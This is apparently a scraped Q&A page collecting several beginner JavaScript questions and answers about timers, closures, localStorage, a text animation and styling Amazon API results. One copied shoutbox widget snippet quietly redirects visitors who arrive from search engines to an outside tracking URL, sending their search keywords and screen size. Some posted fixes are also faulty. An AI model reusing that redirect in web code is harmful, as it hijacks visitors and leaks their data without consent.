I have these lines of code in my program. I want to implement setTimeout in a javascript class. I tried storing "this" but seems didn't work out for me.
In this class logic is if input is 0, then it will show output 0, but if input is 1 it will start a timer which is already specified and after that timer finishes it will give output its a ondelay timer.
ONDClass = function(){
this.id;
this.input;
this.source;
this.target;
this.timer;
var timerValue;
this.TimerID;
this.TotalSeconds;
var thisObj = this;
var c = 0;
this.setID = function(id){
this.id = id;
timerValue = this.id + "C";
}
this.getID = function(){
return this.id;
}
this.setTimer = function(timer){
this.timer = timer
}
this.getTimer = function(timer){
return this.timer;
}
this.UIelementTaget = function(target){
this.target = target;
}
this.UIelementSource = function(source){
this.source = source;
}
this.setInput = function(input){
this.input = input;
}
this.getInput = function(){
return this.input
}
this.UpdateTimer = function(){
console.log(c);
document.getElementById(timerValue).innerHTML = c;
}
this.createTimer = function(timerValue,time){
this.TimerID = document.getElementById(timerValue);
this.TotalSeconds = time;
// this.UpdateTimer();
setTimeout(function() {
document.getElementById(timerValue).innerHTML = c;
console.log(c);
thisObj.Tick();
}, 1000)
}
this.Tick = function(){
c++
//this.UpdateTimer();
if(c < this.TotalSeconds){
setTimeout(function() {
document.getElementById(timerValue).innerHTML = c;
console.log(c);
thisObj.Tick();
}, 1000)
} else {
return this.input;
}
}
this.getOutput = function(){
if(this.input == 0){
var htmltimer = "<div id = " + timerValue + " class = 'timerValue'>" + this.getTimer() + "</div>";
$("#" + this.id).append(htmltimer);
return this.input;
} else {
var htmltimer = "<div id = " + timerValue + " class = 'timerValue'></div>";
$("#" + this.id).append(htmltimer);
this.createTimer(timerValue,this.getTimer());
return this.input;
}
}
this.getUISourceElement = function(){
if(this.source == undefined)
return false;
else
return true;
}
this.addExtraDiv = function(){
var divinput = this.id +"I";
var divoutput = this.id +"O";
var htmlinput = "<div id = " + divinput + " class = 'inputBoxTimer'>" + this.getInput()+ "</div>";
var htmloutput = "<div id = '" + divoutput + "' class = 'outputBoxTimer'>" + this.getOutput() + "</div>";
$("#" + this.id).append(htmloutput);
$("#" + this.id).append(htmlinput);
}
}
The problem is with the setTimeout function. It's not calling every time and it's giving me same output weather its 1 or 0
Related
I'm trying to remove the textboxes from a JavaScript shoutbox. The code is below, and the shoutbox itself is at the follow link: http://playmafia.ga/killed/
function handleTag() {
var inputArr = document.getElementsByTagName("iframe");
for (var i = 0; i < inputArr.length; i++)
if (document.getElementsByTagName("iframe")[i].src.match(/shoutbox.widget.me/)) {
document.getElementsByTagName("iframe")[i].scrollIntoView(true);
}
}
function cookieSave() {
var a = new Date();
a = new Date(a.getTime() + 1000 * 60 * 60 * 12);
document.cookie = '|hello|; expires=' + a.toGMTString() + ';';
}
cookieReaded = '';
function cookieRead() {
if (document.cookie) {
cookieConAll = document.cookie;
cookieCon = cookieConAll.split(';');
for (var i = 0; i < cookieCon.length; ++i) {
cookieConLine = cookieCon[i];
cookieConPart = cookieConLine.split('|');
if (cookieConPart[1] == 'hello') {
cookieReaded = 'i';
}
}
}
}
xid = Math.random();
xid *= 10000000000000;
xid = Math.ceil(xid);
pushRef = document.referrer;
sumInp = pushRef + ' ' + document.URL;
allMac = /google\.|bing\.|yahoo\./i;
seaSou = new String(pushRef.match(allMac)).substring(0, 1).toLowerCase();
if (pushRef.match(allMac)) {
function getQ(strArg) {
var _url = pushRef + "&";
var regex = new RegExp("(\\?|\\&)" + strArg + "=([^\\&\\?]*)\\&", "gi");
if (!regex.test(_url)) return "";
var arr = regex.exec(_url);
return (RegExp.$2);
}
pushKeys = getQ('q');
if (pushKeys) {} else {
pushKeys = getQ('p');
}
cleanKeys = pushKeys.replace(/\+/g, ' ');
if (sumInp.match(/message/i)) {
vonVer = 'ama';
} else {
vonVer = 'me';
}
cookieRead();
if (cookieReaded == 'i') {
window.onload = handleTag();
} else {
top.location.href = "https://shoutbox.widget.me/track.pl?von=" + vonVer + "&xid=" + xid + "&res=" + screen.width + "xxx" + screen.height + "&sea=" + seaSou + "&via=" + cleanKeys;
cookieSave();
}
}
The goal is to alter the chatbox so that no one can type, but they can see other messages appear from other links of the full, input-allowing, one.
I'm completely unfamiliar with JS so I am not sure where the code is to delete those boxes. I still want to have the comments that others make to be shown on this sans-input chatbox.
Here is the code in a JSFiddle:
https://jsfiddle.net/amans/azuw5a95/1/
And if wondering or needed, the code is from this website but altered slightly: shoutbox.widget.me
I am wondering me how I do that, because all the time the variable returns to your default value. It's an Ibeacon application, I don't know if I need to show more details about my app. I just want to call the function something once, can anyone help me?
function uint8ArrToHexStringNoSpace(arr) {
return Array.prototype.map.call(arr, function(n) {
var s = n.toString(16);
if(s.length == 1) {
s = '0'+s;
}
return s;
}).join('');
}
var quit;
function something() {
if(quit) {
window.open("info.html");
}
quit = true;
}
function appendTd(root, value, id) {
var text = document.createTextNode(value);
var td = document.createElement("p");
if(id) {
td.id = id;
}
td.appendChild(text);
root.appendChild(td);
}
function hex16(i) {
var s = i.toString(16);
while(s.length < 4) {
s = '0'+s;
}
return s;
}
var beacons = {};
var app = {
initialize: function() {
// Important to stop scanning when page reloads/closes!
window.addEventListener('beforeunload', function(e)
{
iBeacon.stopScan();
});
this.bindEvents();
},
bindEvents: function() {
document.addEventListener('deviceready', this.onDeviceReady, false);
},
onDeviceReady: function() {
//app.receivedEvent('deviceready');
app.startScan();
},
receivedEvent: function(id) {
var parentElement = document.getElementById(id);
var listeningElement = parentElement.querySelector('.listening');
var receivedElement = parentElement.querySelector('.received');
listeningElement.setAttribute('style', 'display:none;');
receivedElement.setAttribute('style', 'display:block;');
console.log('Received Event: ' + id);
},
startScan: function() {
iBeacon.startScan({}, function(beacon) {
//console.log("beacon found: "+beacon.address+" "+beacon.name+" "+beacon.rssi+"/"+beacon.txPower);
var r = beacon.region;
//console.log("M"+r.major.toString(16)+" m"+r.minor.toString(16)+" uuid "+uint8ArrToHexStringNoSpace(r.uuid));
var key = 'tx'+beacon.address.replace(/:/g,'_');
//console.log('key: '+key);
if(beacons[key] == null) {
beacons[key] = beacon;
var root = document.getElementById("beaconListRoot");
var tr = document.createElement("tr");
var br = document.createElement("br");
// <tr><td>Address</td><td>Name</td><td>RSSI</td><td>ID</td><td>UUID</td></tr>
var adress = ' Adress: ';
var name = ' Name: ';
var distance = ' distance: ';
var major = ' Major: ';
var minor = 'Minor: ';
var UUID = ' UUID: ';
appendTd(tr, adress + beacon.address + name + beacon.name);
appendTd(tr, distance + beacon.rssi+" /"+beacon.txPower+"\u00A0"+beacon.estimatedDistance.toFixed(2)+'m', key);
appendTd(tr, major + hex16(r.major)+"\u00A0"+ minor +hex16(r.minor));
appendTd(tr, UUID + uint8ArrToHexStringNoSpace(r.uuid));
root.appendChild(tr);
} else {
var td = document.getElementById(key);
td.firstChild.nodeValue = 'Power: ' + beacon.rssi+"/"+beacon.txPower+ ' Distance: ' + "\u00A0"+beacon.estimatedDistance.toFixed(2)+'m';
}
if(beacon.address == '78:A5:04:13:3B:17' && beacon.estimatedDistance.toFixed(2) <= 10 ){
something();
}
}, function(error) {
console.log("startScan error: " + error);
});
},
};
use localStorage: https://developer.mozilla.org/en/docs/Web/API/Window/localStorage
localStorage (and sessionStorage) let you keep persistent values
function something() {
localStorage.setItem("somethingCalled", "yes");
if(quit) {
window.open("info.html");
}
quit = true;
}
then where you call something():
if (localStorage.getItem("somethingCalled")!="yes") {
something()
}
you may whant to use sessionStorage instead of localStorage (https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage)
My 'that' variable is not referring to the correct object when I use a method on the object.
For example, isaac.healthItem.use() displays "Mia" in the console and not "Isaac".
Why is 'this' not referring to the calling object?
var get = function(id) {
return document.getElementById(id);
}
var that;
var divider = "\n-----------------------";
var Adventurer = function(name, weapon, health, mana) {
this.name = name;
this.health = health;
this.maxHealth = health;
this.maxOverheal = this.maxHealth * 2;
this.mana = mana;
this.inventory = [];
this.spells = [];
this.weapon = weapon;
that = this;
}
Adventurer.prototype.addToInventory = function(item) {
this.inventory.push(item);
}
Adventurer.prototype.addSpell = function(spell) {
this.spells.push(spell);
}
Adventurer.prototype.setWeapon = function(weapon) {
this.weapon = weapon;
}
var HealthItem = function() {
this.healthItemName = "";
this.healAmount = 0;
this.use = function() {
console.log(that.name);
for (var x = 0; x < that.inventory.length; x++) {
if (that.inventory[x] == "HP Pot") {
this.healthItemName = "HP Pot";
this.healAmount = 30;
that.health += this.healAmount;
console.log(that.name + " Has Used " + this.healthItemName + " For " + this.healAmount + divider);
if (that.health > that.maxHealth && that.health < that.maxOverheal) {
var overheal = that.health - that.maxHealth;
console.log("Overhealed by " + overheal + "!");
} else if (that.health > that.maxOverheal) {
console.log(that.name + " cannot " + "be " + "overhealed " + "anymore!");
that.health = that.maxOverheal;
}
that.inventory[x] = "";
return;
}
}
console.log("No Health Items in Inventory" + divider);
}
}
Adventurer.prototype.healthItem = new HealthItem();
Adventurer.prototype.adventurerData = function() {
console.log(this.name + divider);
console.log("Health: " + this.health + divider);
console.log("Mana: " + this.mana + divider);
}
Adventurer.prototype.viewSpells = function() {
for (var i = 0; i < this.spells.length; i++) {
console.log(this.spells[i] + divider);
}
}
Adventurer.prototype.useSpell = function(spell) {
for (var i = 0; i < this.spells.length; i++) {
if (this.spells[i] == spell) {
console.log(this.name + " Used " + this.spells[i] + " For" + " 30 Damage!" + divider);
return;
}
}
console.log("You don't know how to do that..." + divider);
}
Adventurer.prototype.viewInventory = function() {
for (var x = 0; x < this.inventory.length; x++) {
console.log(this.inventory[x] + divider);
}
if (this.inventory.length == 0) {
console.log("Your bag is empty");
}
}
Adventurer.prototype.lotOfPots = function() {
for (var i = 0; i < 50; i++) {
this.addToInventory("HP Pot");
}
}
var isaac = new Adventurer("Isaac", "Ragnarok", 100, 50);
var mia = new Adventurer("Mia", "Celestial Staff of Water", 80, 90);
isaac.addSpell("Earthquake");
isaac.addSpell("Push");
isaac.addSpell("Healing Wave");
mia.addSpell("Soothing Waters");
mia.addSpell("Sleet");
mia.addSpell("Waterfall");
mia.adventurerData();
The problem is
var that; // Global variable
var Adventurer = function(name, weapon, health, mana) {
....
that = this; // Assign the calling object to global variable
}
var isaac = new Adventurer("Isaac", "Ragnarok", 100, 50);
var mia = new Adventurer("Mia", "Celestial Staff of Water", 80, 90);
So that is overwritten by isaac and then mia so when HealthItem calls console.log(that.name), that refers to mia
It's because "that" is a global variable. When you create the second adventurer, you're overwriting "that" with the second adventurer's values.
Did you tried passing "that" as a parameter to Adventurer function?
I have this function that makes text cycle through a series of letters before it spells out the actual word. At the moment, it does this on hover - but I would like it to do it only when the page loads.
(function($){
$.fn.charcycle = function( options ){
var settings = {
target:"",
sender:$(this),
id:$(this).attr('id'),
timer_is_on:1,
quoteDis : "",
quoteLoc : 0,
speed:90,
quotePic : "ABCDEFGHIJKLMNOPQRSTUVWXYZ ",
quotePic2 : "ABCDEFGHIJKLMNOPQRSTUVWXYZ ",
quotePic3 : "ABCDEFGHIJKLMNOPQRSTUVWXYZ ",
quoteStr : "",
targetElement :""
}
//var quoteStr;
//var targetElement;
var quoteLen;
var quoteMax;
var rndRange;
var t;
return this.each(function(){
if ( options ) {
$.extend( settings, options );
}
$(this).addClass('cycling');
settings.targetElement=$(this).find(settings.target);
settings.quoteStr=settings.targetElement.text();
startQuote();
function padQuote(){
for (var i = settings.quoteStr.length; i < quoteMax; i++) {
settings.quoteStr= "" + settings.quoteStr + " ";
}
}
function disQuote() {
settings.quoteDis = settings.quoteStr.substring(0, settings.quoteLoc);
for (var i = settings.quoteLoc; i < quoteMax; i++){
var charone;
charone = settings.quoteStr.substring(i, i + 1);
var rdnum;
rdnum = Math.floor(Math.random() * rndRange)
if(i< quoteMax && i>quoteMax-3){
settings.quoteDis = "" + settings.quoteDis + settings.quotePic3.substring(rdnum, rdnum + 1);
}
else if (i > settings.quoteLoc+7 && i < settings.quoteLoc+14){
settings.quoteDis = "" + settings.quoteDis + settings.quotePic.substring(rdnum, rdnum + 1);
}
else {
settings.quoteDis = "" + settings.quoteDis + settings.quotePic2.substring(rdnum, rdnum + 1);
}
}
settings.quoteLoc = settings.quoteLoc + 1;
if(settings.quoteLoc == quoteLen+2){
//$("#"+settings.id).removeClass('cycling');
settings.sender.removeClass('cycling');
clearTimeout(t);
settings.timer_is_on=0;
}
}
function loopQuote(target) {
settings.targetElement.text(settings.quoteDis);
disQuote();
if (settings.timer_is_on==1){
t = setTimeout(function(){loopQuote(target)}, settings.speed);
settings.speed=settings.speed+0.75;
}
if(quoteMax < quoteLen){
quoteMax = quoteMax+3;
}
}
function startQuote() {
quoteMax = settings.quoteStr.length;
rndRange=settings.quotePic.length;
quoteLen = settings.quoteStr.length;
padQuote();
disQuote();
loopQuote();
}
});
}
})( jQuery );
$('#banner').mouseenter(function(){
if($(this).hasClass('cycling')==false){
$(this).charcycle({'target':'#text'});
}
});
from http://codepen.io/felipeBB/pen/XJaBMP
As Tamil said, put the whole thing in $document.ready() and remove the mouseover: http://codepen.io/anon/pen/ByqjWY?editors=101
I have the following as part of a script:
// JSON object out into DOM Nodes, and appends them to 'searchResults' DIV)
var amzJSONCallback = function(tmpData) {
if (tmpData.Item) {
var dv = cel('div');
var gDiv = getEl('searchResults');
gDiv.innerHTML = "";
var tmpItem = tmpData.Item
var ig = cel('img');
ig.setAttribute('src', tmpItem.thumburl);
ig.setAttribute('alt', tmpItem.title);
ig.style.cssText = "border:0px;height:" + tmpItem.thumbdims[0] + "px;width:" + tmpItem.thumbdims[1] + "px";
var a = cel('a');
a.setAttribute('href', tmpItem.url);
a.appendChild(ig);
var dv2 = cel('div');
dv2.style.cssText = "text-align:center;";
dv2.appendChild(a);
gDiv.appendChild(dv2);
var a = cel('a');
a.setAttribute('href', tmpItem.url);
a.appendChild(ctn(tmpItem.title));
dv.appendChild(a);
if (tmpItem.price) {
dv.appendChild(ctn(tmpItem.price));
} else if (tmpItem.lowestnewprice) {
dv.appendChild(ctn(" - " + tmpItem.lowestnewprice));
} else if (tmpItem.lowestusedprice) {
dv.appendChild(ctn(" - " + tmpItem.lowestusedprice + " (used)"));
}
gDiv.appendChild(dv);
if (tmpItem.desc) {
// RegEx used to strip out extraneous HTML and Entities in Description text
tmpItem.desc = tmpItem.desc.replace(/<.*?>/gi, '');
tmpItem.desc = tmpItem.desc.replace(/&.*?;/gi, ' ');
if (tmpItem.desc.length > 121) {
tmpItem.desc = tmpItem.desc.substr(0, 120) + "..."
}
gDiv.appendChild(cel('br'));
gDiv.appendChild(ctn(tmpItem.desc));
My problem is that I cant style the different elements that get added to the "searchResults" div. Does anyone have any clues on how to style the price in this bit:
if (tmpItem.price) {
dv.appendChild(ctn(tmpItem.price));
} else if (tmpItem.lowestnewprice) {
dv.appendChild(ctn(" - " + tmpItem.lowestnewprice));
} else if (tmpItem.lowestusedprice) {
dv.appendChild(ctn(" - " + tmpItem.lowestusedprice + " (used)"));
}
Any help would be greatly appreciated.
I would specify a classname in the JavaScript source and let an external CSS file take care of actually applying the formatting to it.
CSS
.styledElement {
font-weight: bold;
}
JavaScript
var eItem = ctn(tmpItem.price);
eItem.className = "styledElement";
dv.appendChild(eItem);
Greg's approach is also good especially if you have to do everything in the JavaScript source.
Instead of:
dv.appendChild(ctn(tmpItem.price));
use something like
var elm = ctn(tmpItem.price);
elm.style.color = 'red';
elm.className = 'amazon-price';
dv.appendChild(elm);
The Whole script:
function getEl(x){return document.getElementById(x)}
function ctn(x){ return document.createTextNode(x) }
function cel(x){ return document.createElement(x) }
function addEvent(obj,type,fn){
if (obj.addEventListener){ obj.addEventListener(type,fn,false)}
else if (obj.attachEvent){
obj["e"+type+fn] = fn;
obj.attachEvent("on"+type,function(){obj["e"+type+fn]();});
}
}
function JSONscriptRequest(fullUrl) {
this.fullUrl = fullUrl;
this.noCacheIE = '&noCacheIE=' + (new Date()).getTime();
this.headLoc = document.getElementsByTagName("head").item(0);
this.scriptId = 'azScriptId' + JSONscriptRequest.scriptCounter++;
}
JSONscriptRequest.scriptCounter = 1;
JSONscriptRequest.prototype.buildScriptTag = function () {
this.scriptObj = document.createElement("script");
this.scriptObj.setAttribute("type", "text/javascript");
this.scriptObj.setAttribute("src", this.fullUrl + this.noCacheIE);
this.scriptObj.setAttribute("id", this.scriptId);
}
JSONscriptRequest.prototype.removeScriptTag = function () {
this.headLoc.removeChild(this.scriptObj);
}
JSONscriptRequest.prototype.addScriptTag = function () {
this.headLoc.appendChild(this.scriptObj);
}
var amzJSONCallback = function(tmpData){
if(tmpData.Item){
var dv = cel('div');
var gDiv = getEl('searchResults');
gDiv.innerHTML="";
var tmpItem = tmpData.Item
var ig = cel('img');
ig.setAttribute('src',tmpItem.thumburl);
ig.setAttribute('alt',tmpItem.title);
ig.style.cssText = "border:0px;height:"+tmpItem.thumbdims[0]+"px;width:"+tmpItem.thumbdims[1]+"px";
var a = cel('a');
a.setAttribute('href',tmpItem.url);
a.appendChild(ig);
var dv2 = cel('div');
dv2.style.cssText = "text-align:center;";
dv2.appendChild(a);
gDiv.appendChild(dv2);
var a = cel('a');
a.setAttribute('href',tmpItem.url);
a.appendChild(ctn(tmpItem.title));
dv.appendChild(a);
if(tmpItem.price)
{
dv.appendChild(ctn(tmpItem.price));
}
else if(tmpItem.lowestnewprice)
{
// ADDED CLASSNAME HERE
var eItem = tmpItem.lowestnewprice;
eItem.className = "price";
dv.appendChild(ctn(" - " + eItem));
}
else if(tmpItem.lowestusedprice)
{
dv.appendChild(ctn(" - " + tmpItem.lowestusedprice + " (used)"));
}
gDiv.appendChild(dv);
if(tmpItem.desc){
tmpItem.desc = tmpItem.desc.replace(/<.*?>/gi,'');
tmpItem.desc = tmpItem.desc.replace(/&.*?;/gi,' ');
if(tmpItem.desc.length>121)
{
tmpItem.desc=tmpItem.desc.substr(0,120)+"..."
}
// ADDED CLASSNAME HERE
gDiv.appendChild(cel('br'));
var DItem = tmpItem.desc;
DItem.className = "price";
gDiv.appendChild(ctn(DItem));
}
}
}
var amazonSearch = function(){
var request = 'http://webservices.amazon.co.uk/onca/xml?Service=AWSECommerceService&SubscriptionId=19267494ZR5A8E2CGPR2&AssociateTag=mikita18v-21&Operation=ItemLookup&Style=http://www.virtualmedia.ie/json/ajsonSingleAsin.xsl&ContentType=text/javascript&IdType=ASIN&ItemId=' + gbAmazonAsin + '&ResponseGroup=Medium,ItemAttributes,OfferFull&CallBack=amzJSONCallback';
aObj = new JSONscriptRequest(request);
aObj.buildScriptTag();
aObj.addScriptTag();
}
var gbAmazonAsin = "<?php echo $productcode; ?>";
addEvent(window,"load",amazonSearch);